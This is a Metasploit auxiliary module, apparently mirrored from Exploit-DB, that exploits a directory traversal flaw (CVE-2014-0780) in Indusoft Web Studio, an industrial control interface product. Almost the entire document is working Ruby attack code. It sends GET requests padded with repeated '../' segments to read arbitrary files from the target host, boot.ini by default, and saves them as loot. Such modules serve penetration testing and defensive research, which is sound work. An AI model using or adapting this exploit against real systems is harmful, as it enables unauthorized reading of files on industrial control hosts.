Indusoft Web Studio – Directory Traversal Information Disclosure (Metasploit)

  • 作者: James Fitts
    日期: 2017-09-13
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/42699/
  • require 'msf/core'
    
    class MetasploitModule < Msf::Auxiliary
    	Rank = GreatRanking
    
    	include Msf::Exploit::Remote::HttpClient
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'Indusoft Web Studio Directory Traversal',
    			'Description'=> %q{
    				This module exploits a flaw found in Indusoft Web Studio
    				<= 7.1 before SP2 Patch 4. This specific flaw allows users
    				to browse outside of the webroot to download files found
    				on the underlying system
    			},
    			'Author' => [ 'James Fitts' ],
    			'License'=> MSF_LICENSE,
    			'Version'=> '$Revision: $',
    			'References' =>
    				[
    					[ 'CVE', '2014-0780' ],
    					[ 'ZDI', '14-118/' ],
    					[ 'URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-14-107-02']
    				],
    			'DisclosureDate' => 'Jan 18 2013'))
    
    		register_options(
    			[
    				OptInt.new('DEPTH', [ false, 'Levels to reach base directory', 8]),
    				OptString.new('FILE', [ false, 'This is the file to download', 'boot.ini']),
    				Opt::RPORT(80)
    			], self.class )
    	end
    
    	def run
    
    	depth = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH']
    	levels = "/" + ("../" * depth)
    
    	res = send_request_raw({
    		'method'	=> 'GET',
    		'uri'		=> "/" + levels + datastore['FILE'],
    	})
    
    	if res and res.code == 200 and res.message =~ /Sending file/
    		loot = res.body
    		if not loot or loot.empty?
    			print_status("File from #{rhost}:#{rport} is empty...")
    			return
    		end
    		file = ::File.basename(datastore['FILE'])
    		path = store_loot('indusoft.webstudio.file', 'application/octet-stream', rhost, loot, file, datastore['FILE'])
    		print_status("Stored #{datastore['FILE']} to #{path}")
    		return
    	end
    
    	end
    end